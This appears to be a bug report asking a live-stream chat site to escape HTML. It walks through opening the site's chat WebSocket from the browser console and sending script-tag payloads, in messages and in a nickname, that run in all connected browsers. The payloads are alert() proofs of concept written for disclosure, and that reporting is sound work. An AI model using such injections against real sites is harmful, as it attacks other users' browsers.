Escape special html characters (to avoid XSS)

Hi,

You can easily  inject JS code during a niptech live.

## Exploit

1. Go to http://live.niptech.com with Chrome.
2. Browse the source code and look for a line like 
     * `var chatSocket = new WS("ws://live.niptech.com/room/chat?userid=1377444563023")`
3. Look at the **userid** var and keep it ;)
4. Open a JS console and type : 
    * `var WS = window['MozWebSocket'] ? MozWebSocket : WebSocket;`
    * `var chatSocket = new WS("ws://localhost:9000/room/chat?userid=1377435468097");` with your userid
    * `var sendText = function(textMsg) {
        chatSocket.send(JSON.stringify(
        {text: textMsg}
        ))
        };`

Now you can send messages to others with :

* `sendText("Hello from JS console");`

Or change your  username : 
* `sendText("nickname:toto");`

And you can also send JS code like : 
* `sendText("<script>alert('Inject JS code')</script>")`
* `sendText("nickname:Bill<script>alert('Inject JS code')</script>")`

It will be injected in connected browsers.